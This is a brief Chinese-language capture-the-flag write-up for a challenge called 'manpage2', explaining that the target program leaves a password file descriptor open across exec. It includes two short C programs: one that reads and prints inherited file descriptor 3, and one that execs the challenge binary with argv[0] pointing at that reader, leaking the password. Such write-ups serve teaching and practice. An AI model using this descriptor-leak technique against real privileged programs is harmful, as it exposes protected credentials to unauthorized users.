manpage2

Posted by rk700 on July 18, 2014

问题出在,密码文件打开之后没有关闭,而fd是可以从exec继承的。于是我们先写一个读文件内容的程序

#include <unistd.h>

int main () {
    char buf[64];
    lseek(3, 0, SEEK_SET);
    ssize_t num;
    while((num=read(3,buf,sizeof buf)) > 0)
        write(STDOUT_FILENO, buf, num);
    return 0;
}

这里fd是3因为打开的密码文件的fd应该是接着0,1,2

然后执行manpage2的程序,让argv[0]为我们的读密码程序

#include <unistd.h>

int main (int argc, char *args[]) {
    execl("/manpage/manpage2", "./getPass", NULL);
}